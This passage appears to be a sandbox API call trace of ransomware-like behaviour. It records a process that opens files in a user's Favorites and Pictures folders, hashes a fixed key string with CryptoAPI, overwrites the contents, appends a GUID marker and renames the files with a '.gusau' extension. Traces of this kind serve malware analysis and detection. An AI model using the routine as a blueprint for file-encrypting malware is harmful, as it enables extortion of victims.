lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.305] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.305] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.305] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.305] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.305] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.305] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.306] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.306] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.306] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.306] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.306] GetLastError () returned 0x0 [0118.306] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.306] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.307] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.307] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.307] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.307] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.307] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.307] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.307] CloseHandle (hObject=0x610) returned 1 [0118.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0118.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f5430 [0118.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0118.308] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.gusau")) returned 1 [0118.310] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.310] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.311] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0118.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.312] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0118.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.312] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.312] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.314] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.314] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.315] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.315] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.315] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.315] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.315] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.315] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.316] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.316] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.316] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.316] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.316] GetLastError () returned 0x0 [0118.316] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.316] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.316] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.316] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.316] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.317] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.317] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.317] CloseHandle (hObject=0x610) returned 1 [0118.317] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.gusau")) returned 1 [0118.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.318] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.319] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0118.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0118.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.321] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.321] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.323] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.323] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.324] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.324] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.324] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.324] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.324] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.325] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.325] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.325] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.325] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.325] GetLastError () returned 0x0 [0118.325] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.325] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.325] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.325] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.325] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.326] CloseHandle (hObject=0x610) returned 1 [0118.327] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.gusau")) returned 1 [0118.328] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0118.328] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.328] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.328] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.328] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\") returned="kuLBm0R5-grtJK8w\\" [0118.328] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.328] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.328] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.328] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.329] PathFindFileNameW (pszPath="") returned="" [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea050ae0, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xc9d44440, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xc9d44440, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.329] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea050ae0, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xc9d44440, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xc9d44440, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.329] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d2878e0, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x439ee700, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x439ee700, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KkXM-cBNoii_tDa0YyP", cAlternateFileName="KKXM-C~1")) returned 1 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfc) returned 0xdcc590 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0b58 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.329] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7851b730, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x252f33d0, ftLastAccessTime.dwHighDateTime=0x1d4c7dc, ftLastWriteTime.dwLowDateTime=0x252f33d0, ftLastWriteTime.dwHighDateTime=0x1d4c7dc, nFileSizeHigh=0x0, nFileSizeLow=0xd169, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z2lk.jpg", cAlternateFileName="")) returned 1 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0718 [0118.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.329] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\z2lk.jpg") returned=".jpg" [0118.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\z2lk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\z2lk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.330] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=53609) returned 1 [0118.330] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.332] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd143, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.332] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.334] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd169, lpOverlapped=0x0) returned 1 [0118.335] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.335] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.335] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.335] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0718) returned 1 [0118.335] CryptCreateHash (in: hProv=0xdf0718, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.335] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.335] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.335] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.336] GetLastError () returned 0x0 [0118.336] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.336] CryptReleaseContext (hProv=0xdf0718, dwFlags=0x0) returned 1 [0118.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd170) returned 0x39f9f20 [0118.336] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.336] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xd164, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xd164, lpOverlapped=0x0) returned 1 [0118.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.336] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd169, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.336] RtlAllocateHeap 